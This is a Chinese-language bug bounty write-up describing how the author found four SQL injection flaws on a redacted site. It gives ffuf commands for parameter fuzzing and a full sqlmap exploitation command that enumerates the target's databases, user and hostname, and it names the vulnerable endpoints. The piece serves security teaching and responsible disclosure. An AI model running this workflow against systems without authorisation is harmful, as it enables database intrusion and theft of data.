如何在幾分鐘內(nèi)找到多個 SQL 注入漏洞

今天來分享一下我是如何用幾分鐘發(fā)現(xiàn)某個漏洞賞金的目標多個 SQL 注入漏洞的,接下來以目標域名 redacted.org 為例。
枚舉階段
首先我使用 waybackurls 工具查看目標網(wǎng)站上有哪些 URL,然后看到了很多 PHP 的文件,也許可以在其中找到 SQL 注入漏洞,使用命令過濾一些結(jié)果之后輸出到文件:
waybackurls https://redacted.org/ | uro | grep “.php” > php-files.txt

查看輸出的文件,發(fā)現(xiàn)了如圖中的內(nèi)容:

看文件名感覺似乎有戲,接下來需要找一些可用的參數(shù),需要制作一個參數(shù)名字典然后暴力破解這些頁面,搞起!

獲取參數(shù)
我們基于之前輸出的內(nèi)容,將文件名和參數(shù)分離出來,然后去重:
cat php-files.txt| grep -i get | sed 's/.*.get//' | sort -u

接下來刪除 php 后綴,得到一個以文件名為關(guān)鍵詞的列表,只需在上一條命令后加上 cut -f1 -d 即可:

結(jié)果中有的有兩個單詞或者多個單詞的組合,但是我不知道其中那個單詞是參數(shù),所以就想辦法將其拆分,經(jīng)過一頓搜索,發(fā)現(xiàn)可以用命令:
sed 's/[AZ]+/\n&/g'

我認為參數(shù)一般都是小寫,所以需要將所有大寫字符轉(zhuǎn)換為小寫,且保留之前的內(nèi)容:

接下來我們有了兩個參數(shù)字典可用,然后使用工具 FFUF 來進行測試,先嘗試用全是小寫字符的字典:
ffuf -w lowercase-parameters.txt -u "https://redacted.org/searchProgressCommitment.php?FUZZ=5"
但是沒有任何結(jié)果!
老實說,我很郁悶,但是突然想到一個方案,把請求的方法改成 POST 怎么樣?命令如下:
ffuf -w lowercase-parameters.txt -X POST -d "FUZZ=5" -u "https://redacted.org/searchProgressCommitment.php"
結(jié)果得到了 commitment & id 參數(shù)。
接下來我可以對這些參數(shù)進行測試了,復(fù)制請求的數(shù)據(jù)包內(nèi)容到文件中,丟給 sqlmap 去測。
漏洞利用
sqlmap 的命令如下:
sqlmap -r req3.txt -p commitment --force-ssl --level 5 --risk 3 --dbms=”MYSQL” --hostname --current-user --current-db --dbs --tamper=between --no-cast

漏洞測試成功,確實存在 SQL 注入漏洞;
接下來使用同樣的方法,測試其他 URL ,結(jié)果我找到了三個同樣存在 SQL 注入漏洞的地方。
第二個 SQLI:帶有 id 參數(shù)的 ws_delComment.php。

第三個 SQLI:帶有 target 參數(shù)的 getTargets.php。

第四個:mailing_lists.php 帶 list 參數(shù)。

一共發(fā)現(xiàn)四個 SQL 注入,太棒了!
我向安全團隊報告了所有 SQL 注入漏洞并審核通過,他們在積極解決問題,感謝大家的閱讀。





















